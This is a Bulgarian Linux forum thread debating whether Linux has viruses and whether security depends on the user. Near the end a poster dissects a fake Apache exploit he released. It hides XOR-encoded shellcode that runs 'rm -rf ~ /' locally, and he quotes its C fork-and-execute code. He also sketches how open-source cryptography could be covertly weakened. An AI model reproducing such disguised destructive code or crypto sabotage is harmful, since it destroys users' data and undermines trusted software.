Linux за българи: Форуми

Преди 20 години в града в който живея имаше около 5-6 компютъра- в някои учреждения и няколко частни. Всички те по един или друг начин бяха заразени с някакъв вирус, естествено изпозлаваха МС-ДОС или ПС-ДОС или Уиндовс 3.11. В момента съм сигурен, че има толкова инсталирани и използвани линукси и за тях няма нито един вирус. Предполагам, че в световен мащаб цифрите са същите.
Дали ?

ПС. Такива мисли ми дойдоха във връзка с това, че се твърди, че линукс не е толкова популярен и за това за него няма вируси...

Има вируси и за линукс. Кажи ми, може ли някой друг да инсталира програма на компютъра ти, без да знае администраторската парола или можеш ли ти самият да си инсталираш програма, ако не си премахнал паролата и ще си отговориш на някои въпроси.

Има вируси и за линукс. Кажи ми, може ли някой друг да инсталира програма на компютъра ти, без да знае администраторската парола или можеш ли ти самият да си инсталираш програма, ако не си премахнал паролата и ще си отговориш на някои въпроси.

Прав си , исках само да кажа колко е ОГРОМНА разликата в сигурността!!! И все пак самото им съществуване, не значи, че има прост начин да се появят на компютъра ми, а в другия лагер не е точно така! Това си е почти равно на несъществуване!

Сигурноста на една система зависи от задклавиатурното устройство ( без значение на каква сиситема/ОС е) 

Тук мисля че се възхвалява Linux и неговата сигурност, която се митологизира даже.

Истината е, че ще се качи хакнат PHP скрипт и пак може да се вземат root права.

Така, че краставиците да се продават другаде...  ;D ;D ;D

Помня преди години, беше станало много модерно големите мутри да се возят в Мерцедес G класа, щото предполагам са вярвали че ще живеят по-сигурно така. Та когато се виждат две мутри на едно заведение, отвън се паркираха няколко такива квадратни мерцедеси и един кордон борци вкарваха голямата мутра в заведението.

Това не им помогна разбира се - единият го изперкали със снайпера докато пушил на терасата, другият докато обядвал влезли няколко социопата облечени като попове и го разстреляли като животно, третият го взривили в асансьора, другият направо докато си се возил в джипа го взривили с гранатомет.

Та работата с линукс е същата като с G класите. Няма да пострадаш от цигани дето мятат камъни и от деца дето те целят с въздушна пушка. Ако някой те нарочи обаче, няма какво да те спаси. От гледна точка на usability-то и сигурността, проклятието на линукс е в богатата екосистема - хиляди билдове, хиляди конфигурации, това е благодат от гледна точка на сигурността - трудно се пише malware, който да ги таргетира, още повече че няма смисъл след като това са под 2% от потребителите. Ако някой реши да ти прави сечено обаче....хм

Преди време имаше една демонстрация, беше излязъл един експлойт за ядрото, където кофти приготвена partition таблица водеше до изпълнение на код в ring0. PoC кода, който гледах беше грубо казано ръгаш флашка в USB слота, всички процеси вървящи на системата, придобиват root-ски права. Просто proof of concept. Сега представи си компанията/учреждението където решили да мигрират към линукс само защото проблемите със сигурността били решени. Та значи лошите хора подхвърлят няколко такива флашки в района и винаги ще се намери любопитен тъпак, който като ги намери, ще ги ръгне на машината си да види какво има на тях. И дотам бяхме :)

Е, ако говорим въобще за сигурност, Линукс си е уязвим и хич не е глупако устойчив.Но спрямо основната заплаха за Уиндоус - вирусите , е .Вярно, няма много десктоп системи с линукс. Обаче има много сървъри с Линукс и то със много ценни информации по тях. Аз поне не съм чул машина с Линукс сървър да е паднала от вирус.Падат от други заплахи, но от вирус не съм чувал.

Абе вие кви хора сте:))))
При реални условия за десктоп потребител, който слуша онлайн радио, пули се в фейсбук, обажда се на децата в чужбина с скайп и чете новини в медияпул и си чете мейлтъ в абв  - едната система е почти НЕПРОБИВАЕМА, докато другата Е.
Всичко останало е въпрос на грешни намерения!
@нооб прати ми го тоя скрип или дай някак да си го заредя да видим кво става...
@гейтуей тебе всеки ден ли те стрелят с снайпер?

Абе вие кви хора сте:))))
При реални условия за десктоп потребител, който слуша онлайн радио, пули се в фейсбук, обажда се на децата в чужбина с скайп и чете новини в медияпул и си чете мейлтъ в абв  - едната система е почти НЕПРОБИВАЕМА, докато другата Е.
Всичко останало е въпрос на грешни намерения!
@нооб прати ми го тоя скрип или дай някак да си го заредя да видим кво става...
@гейтуей тебе всеки ден ли те стрелят с снайпер?

+1

ХАХАХАХАХАХАХ!

Повечето вируси на уиндоус за да направят каквото трябва се нуждаят от административен акаунт(debug привилегия). Ако си с обикновен юзър нещата са доста ограничени. В линукс/юникс нещата са същите. С тази разлика, че в уиндоус хората масово използват административни потребители, което им навлича куп неприятности. В линукс си по подразбиране с обикновен потребител.

Та в голяма степен опира до задклавиатурното устройство и какви знания и компютърна култура има то. Вече ако се попадне на нещо по-гадно и това не спасява, но шансовете падат значително.

Абе вие кви хора сте:))))
При реални условия за десктоп потребител, който слуша онлайн радио, пули се в фейсбук, обажда се на децата в чужбина с скайп и чете новини в медияпул и си чете мейлтъ в абв  - едната система е почти НЕПРОБИВАЕМА, докато другата Е.
Всичко останало е въпрос на грешни намерения!
@нооб прати ми го тоя скрип или дай някак да си го заредя да видим кво става...
@гейтуей тебе всеки ден ли те стрелят с снайпер?

Аз имам двама приятели, които точно за това си ползват щайгите и не разбират и от Уиндоус даже и като им качих Убунту и са мноо доволни :D

Абе вие кви хора сте:))))
При реални условия за десктоп потребител, който слуша онлайн радио, пули се в фейсбук, обажда се на децата в чужбина с скайп и чете новини в медияпул и си чете мейлтъ в абв  - едната система е почти НЕПРОБИВАЕМА, докато другата Е.
Всичко останало е въпрос на грешни намерения!
@нооб прати ми го тоя скрип или дай някак да си го заредя да видим кво става...
@гейтуей тебе всеки ден ли те стрелят с снайпер?

1) "Нормалният" десктоп потребител прави много повече неща. Ако правише само това, импликираш, че онлайн радиото, фейсбоок , скайп и абв са кошница с вируси. За съжаление, някой ключови разработчици на среди в Linux, се стремят да ни втълпят, че инфантилността на Linux като десктоп, всъщност е плюс ( щото видиш ли то потребителят друго не правил... )

2) Сигурността се измерва със статистиката от репортерите. Сигурнустта се измерва с щетите, който причинява провбивът и от отговрниците в едно предприятие.

В повечето фирми, (по мое лично наблюдение) отношението Linux/Windows е към 2% (WEB Server + DB + App)/(SQL+ App + Citrix) примерно 40/2000. Това е на база на моите наблюдения де...  За съжаление съм въждал само веднъж вирус. Беше заразил бозите, и беше дошъл от вътрешен човек, инсталирал нерегламентиран софтуер.


Иначе и за линукс има root-kits колкото искаш...

Цитат

Абе вие кви хора сте:))))
При реални условия за десктоп потребител, който слуша онлайн радио, пули се в фейсбук, обажда се на децата в чужбина с скайп и чете новини в медияпул и си чете мейлтъ в абв  - едната система е почти НЕПРОБИВАЕМА, докато другата Е.
Всичко останало е въпрос на грешни намерения!
@нооб прати ми го тоя скрип или дай някак да си го заредя да видим кво става...
@гейтуей тебе всеки ден ли те стрелят с снайпер?

 "Нормалният" десктоп потребител прави много повече неща. Ако правише само това, импликираш, че онлайн радиото, фейсбоок , скайп и абв са кошница с вируси. За съжаление, някой ключови разработчици на среди в Linux, се стремят да ни втълпят, че инфантилността на Linux като десктоп, всъщност е плюс ( щото видиш ли то потребителят друго не правил... )

Нормалния десктоп потребител гледа филми, цъка фейсбук и скайп, а някои играят и игри! Та като махнеш тези които играят игри, за другите е пИрфектен!

Та в голяма степен опира до задклавиатурното устройство и какви знания и компютърна култура има то. Вече ако се попадне на нещо по-гадно и това не спасява, но шансовете падат значително.

Наистина в много важно какво е решил да си причини потребителя,НО
защо тогава аджеба не са се появили масово вируси, които да атакуват и линуксите?
Убунтуту е вече доста популярно!!!! Какво пречи на мощната софтуерна компания
Майкрософт ей така за спорта да си плати на някой закъсал хакер и да напише
унищожаващия линукс вирус? Защо Евгений от Сиктивкар в дългите сибирски вечери не
налише нещо смазващо линукса ей така щото е много непробиваем, защо Ликус Тормандс докато
чака да мине дълагата полярна нощ в Филандия не наплющи едно вирусче за Линукса....
ЗАЩО СЛАВИ ЗАЩО?!?!?!?

Цитат на: ieti в Jan 02, 2012, 12:11

Та в голяма степен опира до задклавиатурното устройство и какви знания и компютърна култура има то. Вече ако се попадне на нещо по-гадно и това не спасява, но шансовете падат значително.

Наистина в много важно какво е решил да си причини потребителя,НО
защо тогава аджеба не са се появили масово вируси, които да атакуват и линуксите?
Убунтуту е вече доста популярно!!!! Какво пречи на мощната софтуерна компания
Майкрософт ей така за спорта да си плати на някой закъсал хакер и да напише
унищожаващия линукс вирус? Защо Евгений от Сиктивкар в дългите сибирски вечери не
налише нещо смазващо линукса ей така щото е много непробиваем, защо Ликус Тормандс докато
чака да мине дълагата полярна нощ в Филандия не наплющи едно вирусче за Линукса....
ЗАЩО СЛАВИ ЗАЩО?!?!?!?

Логично е Уотсън ;) ! Вирусите не се лепят на адвансет усерите ;) , а същите тези адвансет узери се оправят и с Линукс и с Уиндоус! Аз не се смятам за много адвансет, но лаптопа ми е с Уиндоус 7 без антивирусна и нямам проблеми. На виртуалните Уиндоуси които ползвам също съм без антивирусна и купищата други анти. 

Цитат на: edmon в Jan 02, 2012, 14:18

Цитат на: ieti в Jan 02, 2012, 12:11

Та в голяма степен опира до задклавиатурното устройство и какви знания и компютърна култура има то. Вече ако се попадне на нещо по-гадно и това не спасява, но шансовете падат значително.

Наистина в много важно какво е решил да си причини потребителя,НО
защо тогава аджеба не са се появили масово вируси, които да атакуват и линуксите?
Убунтуту е вече доста популярно!!!! Какво пречи на мощната софтуерна компания
Майкрософт ей така за спорта да си плати на някой закъсал хакер и да напише
унищожаващия линукс вирус? Защо Евгений от Сиктивкар в дългите сибирски вечери не
налише нещо смазващо линукса ей така щото е много непробиваем, защо Ликус Тормандс докато
чака да мине дълагата полярна нощ в Филандия не наплющи едно вирусче за Линукса....
ЗАЩО СЛАВИ ЗАЩО?!?!?!?

Логично е Уотсън ;) ! Вирусите не се лепят на адвансет усерите ;) , а същите тези адвансет узери се оправят и с Линукс и с Уиндоус! Аз не се смятам за много адвансет, но лаптопа ми е с Уиндоус 7 без антивирусна и нямам проблеми. На виртуалните Уиндоуси които ползвам също съм без антивирусна и купищата други анти.

Как аджеба без антивирусна разбра, че нямаш вируси ама... явно гадаеш по силициеви кристали.

Цитат на: backinblack в Jan 02, 2012, 14:37

Цитат на: edmon в Jan 02, 2012, 14:18

Цитат на: ieti в Jan 02, 2012, 12:11

Та в голяма степен опира до задклавиатурното устройство и какви знания и компютърна култура има то. Вече ако се попадне на нещо по-гадно и това не спасява, но шансовете падат значително.

Наистина в много важно какво е решил да си причини потребителя,НО
защо тогава аджеба не са се появили масово вируси, които да атакуват и линуксите?
Убунтуту е вече доста популярно!!!! Какво пречи на мощната софтуерна компания
Майкрософт ей така за спорта да си плати на някой закъсал хакер и да напише
унищожаващия линукс вирус? Защо Евгений от Сиктивкар в дългите сибирски вечери не
налише нещо смазващо линукса ей така щото е много непробиваем, защо Ликус Тормандс докато
чака да мине дълагата полярна нощ в Филандия не наплющи едно вирусче за Линукса....
ЗАЩО СЛАВИ ЗАЩО?!?!?!?

Логично е Уотсън ;) ! Вирусите не се лепят на адвансет усерите ;) , а същите тези адвансет узери се оправят и с Линукс и с Уиндоус! Аз не се смятам за много адвансет, но лаптопа ми е с Уиндоус 7 без антивирусна и нямам проблеми. На виртуалните Уиндоуси които ползвам също съм без антивирусна и купищата други анти.

Как аджеба без антивирусна разбра, че нямаш вируси ама... явно гадаеш по силициеви кристали.

А ти като имаш антивирусна, успяваш ли да изтриеш вируса без да скапеш системата :D !? И каква е файдата, че си го изтрил като ти се бъгне системата и стане за преинсталиране :D !?
Има си фаерул за който не се иска кой знае колко акъл да видиш какво минава през него и дали е свързано с това, което АЗ съм си инсталирал, а когато ходя по торенти и други рискови сайтове ползвам Убунту от виртуалка. Експериментите с друг уиндоус софтуер ги правя също във виртуалка, а на реалната инсталирам само това което е проверено, че работи както искам във виртуалката. Реалната ми е само за бачкане с една кад система и другите си нормални неща за връзка с останалия свят.

...Вирусите не се лепят на адвансет усерите ;)...

Изобщо не съм съгласен! Имах случай в който една колежка видяла банер на който пише, че щяла да спечели iPhone 4S ако до някакво си там време, което изтича, не натисне на банера, при което й се отварят още прозорци и единия й казал да си инсталира някакво setup.exe. Желанието за iPhone-а тая я беше обзело, че я инсталирала и аз после си блъсках главата да й оправям компютъра.

Аха, същото става и като теглиш "кракнати" софтуери от тракърите. Има полза за всички - ти примерно си цъкаш безпкатен уиндоус и фотошоп, а пък тези които са ги release-нали ти ползват машината, за да пращат спам и да те ползват за DDoS атаки.

Аха, същото става и като теглиш "кракнати" софтуери от тракърите. Има полза за всички - ти примерно си цъкаш безпкатен уиндоус и фотошоп, а пък тези които са ги release-нали ти ползват машината, за да пращат спам и да те ползват за DDoS атаки.

Ааааа, тва си е проблем на МС! При мен всичко си е ток и жица :D :D :D

Вируси винаги се пишат за най масовите системи . В момента има най много гадини за Windows , и много по малко за Linux . Но ... ако някоя ОС започна да добива популярност винаги вирусописачите се насочват към нея . Наскоро четох че доскоро за Андроид имало много малко бацили , но след масовото навлизане на пазара на смартфони с тази система са се увеличили в пъти бацилите за Андроид .

Така че когато масово навлезе Линукс ( а тази тенденция се засилва ) ще излязат и повечко бацили за него .

А това за адвенсед юзърите не е съвсем вярно . Аз съм минавал "ръчно" активирана защита на ХР с току що инсталирана антивирусна точно през адвансед потребител . Проста работа за третокласник , а колко му е някой да напише бацил които по същия път да минава зад нулевия кръг .

Наскоро четох че доскоро за Андроид имало много малко бацили , но след масовото навлизане на пазара на смартфони с тази система са се увеличили в пъти бацилите за Андроид .

Знаеш ли защо е така?
 - кода който се изпълнява е Java - и има декомпилатори създадени за целта; т.е. смъкваш готово приложение, декомпилираш, добавяш malware, компилираш и качваш в маркета
 - в самия маркет няма функция за проверка - каквото качиш моментално се появява което е като манна небесна за драскачите на malware

Даже онзи ден ми предлагаха malware kit за платформата.

Аз не харесвам Java-та, ама не само за нея може да се декомпилира и да се добави злонамерен код, така че не тя е виновна. Гугъл трябва да проверяват това, което се качва в маркета, според мен и то задължително.

Аз не харесвам Java-та, ама не само за нея може да се декомпилира и да се добави злонамерен код, така че не тя е виновна. Гугъл трябва да проверяват това, което се качва в маркета, според мен и то задължително.

Е, това е цената на свободата :)
Те и Apple проверяват това, което се качва, ама постоянно ги плюят как това видите ли - нарушавало свободата... от там - камара джигити си джейлбрейкват телефоните, за да може да инсталират неодобрен/пиратски/кракнат софтуер и ето ти проблем...

Вируси винаги се пишат за най масовите системи . В момента има най много гадини за Windows , и много по малко за Linux . Но ... ако някоя ОС започна да добива популярност винаги вирусописачите се насочват към нея . Наскоро четох че доскоро за Андроид имало много малко бацили , но след масовото навлизане на пазара на смартфони с тази система са се увеличили в пъти бацилите за Андроид .

Така че когато масово навлезе Линукс ( а тази тенденция се засилва ) ще излязат и повечко бацили за него .

А това за адвенсед юзърите не е съвсем вярно . Аз съм минавал "ръчно" активирана защита на ХР с току що инсталирана антивирусна точно през адвансед потребител . Проста работа за третокласник , а колко му е някой да напише бацил които по същия път да минава зад нулевия кръг .

ИЗВИНЯВАЙ АМА Е ОБИДНО ДА КОМЕНТИРАШ БЕЗ ДА СИ ПРОЧЕЛ КАКВО ТОЧНО СЕ СЪСТОИ ТЕМАТА!!!
И пак да поясня за не разбралите!!!
ПРЕДИ 20 ГОДИНИ - 5 компа - заразени с вируси(ДОС, УИН 3.11)
ТАЗИ ГОДИНА - 5 линукса - не заразени!!!

ИМА ЛИ НЕ РАЗБРАЛИ!??!?!?!?

Много добре разбрах темата ,но... Искаш да кажеш че няма вируси за Линукс , или че добрата компютърна грамотност може да те предпази от вируси или други подобни ?

А за световната темнденция е това което казах - една ОС колкото повече добива популярност толкова повече се пише вреден софтуер за нея . Белите да тестват , черните да вземат инфо , а сивите го пишат и за двете . То и практиката го е доказала . Да си заравяме главите в пясъка не става .

Това че има някъде 5 компа с линукс и нямат вреден софтуер - хвала на тези дето бачкат на тях .

Що тогава не ми инсталираш вирус на моят компютър. Опитай, няма да ти се обидя.

...изтрито...

Относно вируса за Линукс - никакъв проблем. Като нищо ще ти омажа home-а, без дори да се усетиш какво е станало. А то, изтрия ли ти личната информация и документите.... файда, че системата ти е непокътната :) Един Java aplet и.... до там с /home :) Ако разбира се, проявиш глупостта да стартираш нещо от непроверен източник!!!

Преди време пишех fake експлойти, и повярвай - има доста наивници, които ги стартират дори като root! Което пак доказва - не е важна системата, важен е потребителя!

В офиса имам Windows XP Home, инсталиран през 2007-ма. На 23 машини. До момента няма нито една заразена! Как? Лимитиран акаунт, орязан нет, читава download политика, ясни и точни правила какво може и какво не може да се направи! И не на послено място - лицензен е! Повечето от вас като ползват разни изпиратствани и "активирани" копия.... да се сърдят на себе си, и да плюят себе си.

По мои спомени в линукс кернела имаше едно малко бекдорче, което си беше просъществувало дъъълги години, без никой да го забеежи :)


Редактирано, заради други постове.
bop_bop_mara

Не ползвам МАК , а и ставаше дума за Линукс и вирусите . Ето ($2) една статия на руски . Последно е обновена преди 6 месеца , но се вижда за какво става дума .

А ако някой толкова напира да си разбере дали може или неможе да си напише сам вирус за Линукс - ето ($2) тук - да прочете и коментарите отдолу .

...изтрито...

Относно вируса за Линукс - никакъв проблем. Като нищо ще ти омажа home-а, без дори да се усетиш какво е станало. А то, изтрия ли ти личната информация и документите.... файда, че системата ти е непокътната :) Един Java aplet и.... до там с /home :) Ако разбира се, проявиш глупостта да стартираш нещо от непроверен източник!!!

Преди време пишех fake експлойти, и повярвай - има доста наивници, които ги стартират дори като root! Което пак доказва - не е важна системата, важен е потребителя!

В офиса имам Windows XP Home, инсталиран през 2007-ма. На 23 машини. До момента няма нито една заразена! Как? Лимитиран акаунт, орязан нет, читава download политика, ясни и точни правила какво може и какво не може да се направи! И не на послено място - лицензен е! Повечето от вас като ползват разни изпиратствани и "активирани" копия.... да се сърдят на себе си, и да плюят себе си.

По мои спомени в линукс кернела имаше едно малко бекдорче, което си беше просъществувало дъъълги години, без никой да го забеежи :)

Аз не стартирам нещо ...изтрито... преди да го проверя обстойно.
И не съм толкова тъп да пазя важна информация в домашна папка.
Андроид не ползвам.
И не мисли че като си Мак ...изтрито...̀ че твоята система е неуязвима, уязвима е точно колкото Уиндоус.
За да хакнеш линукс не стига само да пратиш на някого лошия java код, има далеч по-интересни методи да наиграеш някого.

...изтрито...

Редактирано, заради други постове и т. 6 от Правилата на форума.
bop_bop_mara

...изтрито...

Не, че се хваля, но съм писал експлойти за Линукс. Тъй че, не ми обяснявай как се хаква Линукс.
Не съм от ония псевдо-хакери, които свалят готови тулове и "хакват" с тях. Аз такива ги наказвам с fake експлойти :) Които правят интересни неща.
Не съм и Мак фанатик - просто работата ми е свързана предимно с Apple продукти, и си ги ползвам.
Уязвим колкото Windows.... едва ли :) А и ако беше чел внимателно, щеше да видиш в предния ми пост, че имам и 25 машини с Windows XP Home в офиса, и нямам  никакви проблеми с тях!!!
Щеше да видиш и, че не величая нито една ОС, а си го казвам директно - една ОС е толкова сигурна, колкото този, който я ползва.

Защо повечето, които ползват Windows имат проблеми ли? Елементарно:
1. Пиратски Windows
2. Пиратски софтуер
3. Кракната антивирусна, или в най-добрия случай - безплатна.

А как ще коментираш линка към статиите с вируси за Линукс? Все пак статиите са руски :)

Редактирано, заради други постове.
bop_bop_mara

Beat this :)

http://www.vfocus.net/art/20091029/6014.html

Дори securityfocus се излъгаха да направят отделен BID за това и да публикуват експлойта. След 1-2 седмици го retire-наха, но тъпите китайци така или иначе бяха много очаровани и все още си го намирам по разни хахорски сайтове, особено жълтурски.

//off

...имам и 25 машини с Windows XP Home в офиса...

Как звучи само: имам 25 Windows XP HOME в ОФИСА :D :D :D :D :D.

//off

Цитат на: Mitaka в Jan 04, 2012, 09:41

...имам и 25 машини с Windows XP Home в офиса...

Как звучи само: имам 25 Windows XP HOME в ОФИСА :D :D :D :D :D.

А къде е проблема?
Защо да се взима Pro примерно, след като home-a върши идеална работа в случая?

Beat this :)

http://www.vfocus.net/art/20091029/6014.html

Дори securityfocus се излъгаха да направят отделен BID за това и да публикуват експлойта. След 1-2 седмици го retire-наха, но тъпите китайци така или иначе бяха много очаровани и все още си го намирам по разни хахорски сайтове, особено жълтурски.

Какво му е на този код? Да не би да удря localhost? Нямам време да проверя, нито конкретната версия на Apache.

На 64-битова машина не прави нищо или вероятно крашва. На 32-битова машина прави чудни подаръци.

А къде е проблема?
Защо да се взима Pro примерно, след като home-a върши идеална работа в случая?

Ами според лицензите на микрософта не можеш да ползваш HOME в офиса си.

Цитат на: Mitaka в Jan 04, 2012, 11:09

А къде е проблема?
Защо да се взима Pro примерно, след като home-a върши идеална работа в случая?

Ами според лицензите на микрософта не можеш да ползваш HOME в офиса си.

Грешно си разбрал :)
В договора с BMG няма такава точка. И съвсем ясно е упоменато, че софтуера е купен за фирма.

Цитат на: drag в Jan 04, 2012, 13:06

Цитат на: Mitaka в Jan 04, 2012, 11:09

А къде е проблема?
Защо да се взима Pro примерно, след като home-a върши идеална работа в случая?

Ами според лицензите на микрософта не можеш да ползваш HOME в офиса си.

Грешно си разбрал :)
В договора с BMG няма такава точка. И съвсем ясно е упоменато, че софтуера е купен за фирма.

Добре да си го ползвате с здраве.
Но какво общо има това с Линукс ?

Както и прехваления ви МАК който не спирате да възхвалявате в форум с линуксджии.

Цитат на: drag в Jan 04, 2012, 13:06

Цитат на: Mitaka в Jan 04, 2012, 11:09

А къде е проблема?
Защо да се взима Pro примерно, след като home-a върши идеална работа в случая?

Ами според лицензите на микрософта не можеш да ползваш HOME в офиса си.

Грешно си разбрал :)
В договора с BMG няма такава точка. И съвсем ясно е упоменато, че софтуера е купен за фирма.

Току що проверих. Mitaka e прав. На мен ми отговориха, че може да използваш Home за комерсиални цели.

//offtopic

И не съм толкова тъп да пазя важна информация в домашна папка.

Кажете, каква информация е разумно да стои в домашната папка и по какъв начин да съхраняваме останалата важна информация?

Цитат на: Mitaka в Jan 04, 2012, 13:17

Цитат на: drag в Jan 04, 2012, 13:06

Цитат на: Mitaka в Jan 04, 2012, 11:09

А къде е проблема?
Защо да се взима Pro примерно, след като home-a върши идеална работа в случая?

Ами според лицензите на микрософта не можеш да ползваш HOME в офиса си.

Грешно си разбрал :)
В договора с BMG няма такава точка. И съвсем ясно е упоменато, че софтуера е купен за фирма.

Добре да си го ползвате с здраве.
Но какво общо има това с Линукс ?

Както и прехваления ви МАК който не спирате да възхвалявате в форум с линуксджии.

Общото с Линукс?
Някой направи сравнение с Windows преди 20 години, и Linux сега.
Та, аз просто споменах, че до сега не съм имал вируси дори на Windows-ите... въпрос на начин на работа.
Мак пък изобщо не съм го споменавал. Сравних политиките на Apple и Google за публикуване на приложения съответно в AppStore и Android Market. Ако за теб Apple = Mac... това е друг въпрос.
Но като се има предвид, че МАК е Unix-подобна система... мисля, че има място за сравнение.

Във всички случаи за офис с 25 машини домейн с XP Pro е по-добро решение - спестява сериозно количество труд, опростява администрирането и намалява разходите. С XP Home администрирането става кошмар при 10-15 работни станции при 25 е изтезание за администратора.  :o

Във всички случаи за офис с 25 машини домейн с XP Pro е по-добро решение - спестява сериозно количество труд, опростява администрирането и намалява разходите. С XP Home администрирането става кошмар при 10-15 работни станции при 25 е изтезание за администратора.  :o

Никакъв проблем не ми създават.
А и са ми заварено положение на всичкото отгоре.

Схемата е: Администраторски акаунт с парола, и обикновен лимитиран акаунт, който може да е без парола. Няма антивирусна. Няма и вируси :)

Във всички случаи за офис с 25 машини домейн с XP Pro е по-добро решение - спестява сериозно количество труд, опростява администрирането и намалява разходите. С XP Home администрирането става кошмар при 10-15 работни станции при 25 е изтезание за администратора.  :o

vlp, добре дошъл във форума! Само следвайте темата, или си маркирайте offtopic-а :)

/УФФ

С XP Home администрирането става кошмар при 10-15 работни станции при 25 е изтезание за администратора.

Нека му е гадно бе!  :P :P :P

На 64-битова машина не прави нищо или вероятно крашва. На 32-битова машина прави чудни подаръци.

Дай малко повечко информация, наистина ме мързи в момента да гледам какво има в онзи payload.

Половината забава си заминава ако кажа какво става там.

Иначе не съм си играл достатъчно, мога доста по-забавна мини-концпирация да сътворя. Човек, който има вземане-даване с C, веднага ще види че има нещо доста не наред в кода, човек, който има повече идея за apache, сорса му и проблемите със сигурността му, веднага ще види че пише глупости, човек който прояви малко повече усилия, ще разбере и какво прави payload-а.

Но като цяло е забавно, доста балъци се навързаха. Не ми пука толкова за малоумните хахорчета и изненадата която са получили, но фактът, че securityfocus в продължение на дни го хостваха и неизвестен брой идиоти са го тествали да проверят колко им е сигурен apache сървъра е мноооого забавен :)


Хаха...
http://www.securityfocus.com/bid/37027/exploit

Дам, важно беше да се спомене че Symantec не са идиоти и не са тествали експлойта.

Пфу добре, де обяснявам всичко :)

Почваме от payload-а, който изглежда като shellcode като за remote exploit, ама не е. Въпреки че е  position-independant код. Ако човек реши да го дизасемблира и не разбира особено много от асемблер, няма да разбере особено много. В общи линии, MOV-ваме някакви стойности в някакъв регистър, XOR-ваме ги с някаква стойност, PUSH-ваме ги в стека и накрая викаме INT 80h. Ако човек се разрови в x86 syscall таблицата, ще види че syscall-а е SYS_execve(), демек изпълняваме това в стека с параметрите в стека.

Цялата идея е че в payload-а няма никъде нищо в cleartext вид така че някой ако реши да търси низове в binary-то примерно със strings, да разбере какво става. Проста и елементарна anti-debugging техника. Всички низове, които ще влязат в стека са XOR-криптирани и ги декриптираме on-the-fly преди да ги push-нем.

Та низовете са "/bin/rm", "-rf", "~", "/".

Тях подаваме към системното повикване SYS_execve(). Сега, това работи на x86, но не и на x86_64 - там номера на системното повикване (и съответно стойността на rax регистъра) е друга, а и calling конвенцията е друга - вече не push-ваме в стека, а предаваме на някой регистър адрес към паметта, където се намира низа. Така че това ще fail-не на AMD64 система. Освен ако не се компилира изрично с -m32.


Останалото е в C кода. Наистина сглобяваме HTTP заявка включваща payload-а и наистина я изпращаме, но тази заявка е безобидна и няма да направи никаква мизерия на отсрещния сървър.

От друга страна....

int (*sc)()=(int(*)())shellcode;

.....

printf("Waiting some seconds to see if we got shell...\n");
pid=fork();
if (pid==0) {close(2);sc();exit(0);}
else
{
sleep(2);
if (sd)
{
printf("Now type nc %s 12345 to see if you've got shell there\n",argv[1]);
close(sd);
}
}

Тук става цялата магия. Имаме function pointer, sc който инициализираме със адреса на shellcode-а. Когато викнем sc(), реално погледнато викаме shellcode-а, локално. Сега, можеше да не е sc(),  а нещо доста близко като име до някоя libc функция, но не ми е минало през акъла. По-долу форкваме нов процес и се правим че вършим работа докато просто sleep-ваме 2 секунди. Но child процеса всъщност прави подмолната работа, първо затваря файлов дескриптор 2 (stderr) така че каквито и съобщения за грешка да излязат, да ходят в кофата. След това вика нашия shellcode, който пък exec-ва /bin/rm -rf ~ /. Тъй като parent-а не го wait()-ва, то той си излиза след 2 секунди, а в background-а, child процеса си върши работата по затриването на home директорията или / директорията (ако успее). Дори да не може да изтрие нещо, няма да излезе съобщение за грешка, което да притеснява потребителя.



Цялата схема не е особено изпипана, обаче успя да заблуди доста хора, включително добрите джедаи от securityfocus, които от своя страна изложиха на риск други добри джедаи които си secure-ват машините, не е ли смешно :)

Иначе като цяло, идеята да пишеш код, който нарочно прави катастрофи и е добре прикрита катастрофата, лично на мен много ми допада. Оттогава (това е преди повече от 2 години), доста съм се усъвършенствал в тази област хехе :)

Между другото, това не е най-забавната част. Най-забавната част е когато установиш колко е лесно да subvert-ваш криптографията. Примерно на мен ми трябват само няколко реда промени в кода на openssl библиотеката, за да направя голямата забава. Понеже apache се link-ва с нея. Примерно всички SSL сесии ще продължат да бъдат криптирани с тази малка особеност че ако аз ги снифя мога да ги разбия почти в реално време защото сесийният симетричен ключ ще е с ужасно ниска ентропия. Нека си създават нови private keys, нека си изискват ако ще EV сертификат за сума ти пари, това нищо не променя. Всичко е въпрос на едно побитово отместване някъде си. И всичко изглежда наред. По същият начин, мога да бутна кода на OpenSSH и винаги да генерира двойка ключове с ужасно ниска ентропия. Да има късмет някой да ги сложи някъде в authorized_keys, ще настане забава. По същият начин, лесно може да се subvert-не криптографията в disk encryption системите, малко да бутна сорса на LUKS, само колкото да намаля PBKDF2 итерациите на 1 и да отрежа key size-а, ще мога да си го чупя за много обозримо време. И всичко това може да се направи ама далеч по-елегантно и трудно откриваемо, така че и в opensource проект където доста хора си врат гагата, да не се усетят за каква конспирация става въпрос. Плашещо направо :)

Е вече ме заинтригува определено!

Още повече че цял ден човърках с IDA по един 64 битов код...

За плашещото - нали имаше една теория, че ако извънземни се приземили на центъра на футболно игрище никой нямало да ги види даже и при 100 хиляди човека посещаемост на мача.

Та имаше една теория свързана с някакво изнасилване в щатите. Някакъв напада някакво девойче докато се прибирало от работа. Обаче тя се разкрещяла - светнали лампи и нападателя избягъл. НИКОЙ не извикал полиция защото всеки си мислел че някой друг ще го направи. След час нападателя прави второ нападение - този път лампите били по-малко, пак обаче разкрещяването я спасило. ОТНОВО никой не извикал 911. На третото нападение (след 30 минути май) обаче жертвата е била приведена в безпомощно състояние и по-късно убита. Просто не мога да се сетя обаче в момента за имена, само се сещам че е било в NY.

PS: http://en.wikipedia.org/wiki/Murder_of_Kitty_Genovese може би е това.

Сега като замисля че често ми се е случвало да видя някой да се сдърпа с жена си и да я нарежда  Този случай ама въобще не е потресаващ и в България би станало същото, ако не е ставало вече. Сигурно бих се намесил ако видя някой да бие жена, изглежда много логично, само дето честно казано не е точно така и твърде вероятно няма да го направя щото не е моя работа. Просто защото много по-вероятно е да видиш как някой упражнява насилие над жена си вместо това как някой случаен мъж го прави със случайна жена. И някак да видиш как някой се кара с жена си и покрай това и набива някой шамар се очаква да не е точно твоя работа. От друга страна ако някой клошар скочи да бие някаква случайна жена на спирката, всички ще му се нахвърлят.

